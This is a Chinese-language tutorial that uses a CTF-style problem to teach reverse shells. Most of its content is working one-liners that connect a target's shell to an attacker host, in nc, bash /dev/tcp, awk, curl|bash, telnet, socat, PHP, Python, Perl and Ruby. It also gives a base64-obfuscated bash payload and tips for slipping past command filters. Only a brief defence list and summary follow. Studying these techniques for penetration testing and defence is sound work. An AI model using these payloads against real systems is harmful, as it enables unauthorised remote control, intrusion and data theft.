从一道题目中学习反弹shell
字数 973 2025-08-12 11:34:48
反弹Shell技术详解
一、反弹Shell概念
反弹Shell(Reverse Shell)是指:
- 控制端监听在某个TCP/UDP端口
- 被控端主动向该端口发起请求
- 将被控端的命令行输入输出转移到控制端
本质:实现客户端与服务端角色的互换
二、使用反弹Shell的场景
- 目标环境不稳定(如动态环境)
- 目标机无法接收请求但可以发送请求
- 防火墙限制导致目标机只能出站不能入站
- 目标IP动态变化难以持续控制
- 目标处于内网无法直接连接
- 不确定目标何时在线的情况下建立持久控制
三、常见反弹Shell方法
1. Netcat (nc) 方法
攻击机监听命令:
nc -lvnp 7777
参数说明:
-l:监听模式-v:显示详细过程-n:直接使用IP地址-p:指定监听端口
目标机连接命令:
nc <攻击机IP> 7777 -e /bin/bash
-e参数表示连接后执行指定程序
2. Bash方法
基本命令:
bash -i >& /dev/tcp/<攻击机IP>/7777 0>&1
命令解析:
bash -i:打开交互式shell>&:将前面和后面一起重定向/dev/tcp/<IP>/<PORT>:建立TCP连接0>&1:将标准输入重定向到标准输出
Base64编码绕过:
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzNC4yMTIuMjI1LjE0Mi83Nzc3IDA+JjEgIA==}|{base64,-d}|{bash,-i}'
3. AWK方法
命令:
awk 'BEGIN{s="/inet/tcp/0/<攻击机IP>/7777";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
4. Curl+Bash组合方法
适用场景:当目标机过滤特殊字符时
攻击机准备:
- 在Web服务器上放置内容为反弹Shell命令的文件
- 监听端口
目标机执行:
curl <攻击机IP>|bash
5. Telnet方法
方法一:
telnet <攻击机IP> 7777 | /bin/bash | telnet <攻击机IP> 6379
- 7777端口用于发送命令
- 6379端口用于接收输出
方法二:
mknod a p; telnet <攻击机IP> 7777 0<a | /bin/bash 1>a
(需要root权限)
6. Socat方法
安装:
apt-get install socat
目标机执行:
socat tcp-connect:<攻击机IP>:7777 exec:'bash -li',pty,stderr,setsid,sigint,sane
四、编程语言实现的反弹Shell
1. PHP
php -r '$sock=fsockopen("<攻击机IP>",<端口>);exec("/bin/sh -i <&3 >&3 2>&3");'
2. Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击机IP>",<端口>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3. Perl
perl -e 'use Socket;$i="<攻击机IP>";$p=<端口>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
4. Ruby
ruby -rsocket -e 'c=TCPSocket.new("<攻击机IP>","<端口>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
五、绕过过滤的技巧
- 通配符替代:如
f*替代flag - Base64编码:绕过特殊字符过滤
- 管道符组合:如
curl|bash组合 - 重定向输出:将命令结果写入文件再读取
- 使用不常见命令:如awk、socat等
六、防御措施
- 限制命令执行函数的使用
- 过滤特殊字符和敏感命令
- 使用最小权限原则运行服务
- 监控异常网络连接
- 定期更新系统和应用补丁
七、总结
反弹Shell是渗透测试中重要的技术手段,掌握多种实现方法有助于在不同限制环境下建立控制通道。理解其原理和实现方式不仅对攻击方重要,对防御方识别和防范此类攻击同样关键。